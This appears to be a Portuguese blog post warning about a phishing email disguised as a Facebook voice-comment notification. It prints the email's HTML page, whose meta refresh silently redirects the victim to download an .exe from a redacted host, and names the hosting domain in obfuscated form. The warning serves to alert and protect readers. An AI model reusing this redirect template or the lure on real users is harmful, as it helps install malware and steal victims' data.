Este arquivo de vírus está sendo enviado por email e pelo que tudo indica o mesmo é para sequestrar seu computador ou mesmo para roubar suas informações. Bom, não quis testá-lo, apenas estou divulgando sobre o mesmo para que você também não seja o primeiro a testá-lo!

Segue abaixo alguns detalhes sobre o e-mail malicioso

Primeiro você recebe um email de um contato de sua lista com o seguinte título
Facebook Informa.: Você recebeu um Comentário no recorde momentos – 943597424

Daí com um conteúdo HTML que no qual for aberto irá ser exibido uma página como na imagem abaixo:
Página da mensagem de voz do facebook

Se você clicar em “Ouvir”, irá ser solicitado para baixar um arquivo.exe como mostrado na imagem abaixo:
Arquivo executável que irá instalar o vírus em seu computador

Conteúdo do arquivo HTML da página
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>Equipe Windows Life</title>
</head>
<meta http-equiv=”refresh” content=”0;url=http://xxx.xxx.xxx.xxx/Facebook_Comentario-De-Voz/Comentario_FotoDC854/Time-Line/Comentario-De-Voz.exe“>
<body>
</body>
</html>
OBS: Por segurança removi o endereço original por: http://xxx.xxx.xxx.xxx

Este site abaixo está sendo usado para armazenar os arquivos do vírus:
http://recorde-momentosPONTOcom

Compartilhe isto:

COMENTÁRIOS

COMENTÁRIOS